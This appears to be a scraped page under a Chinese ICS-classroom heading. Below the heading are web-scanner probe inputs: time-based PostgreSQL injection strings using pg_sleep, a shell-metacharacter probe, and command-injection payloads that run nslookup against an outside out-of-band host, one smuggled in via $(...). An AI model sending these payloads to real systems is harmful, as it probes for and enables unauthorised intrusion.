工控课堂-开课了！！

-1;select pg_sleep(3); --

-1);select pg_sleep(9); --

-1));select pg_sleep(9); --

vwixrp3b';select pg_sleep(6); --

BxaF6iO2');select pg_sleep(6); --

wpiQOkoI'));select pg_sleep(6); --

1

1

1

set|set&set

1

nslookup hitzhqtezdxgjd1aae.bxss.me

1

$(nslookup hitxczwempshxf26ce.bxss.me)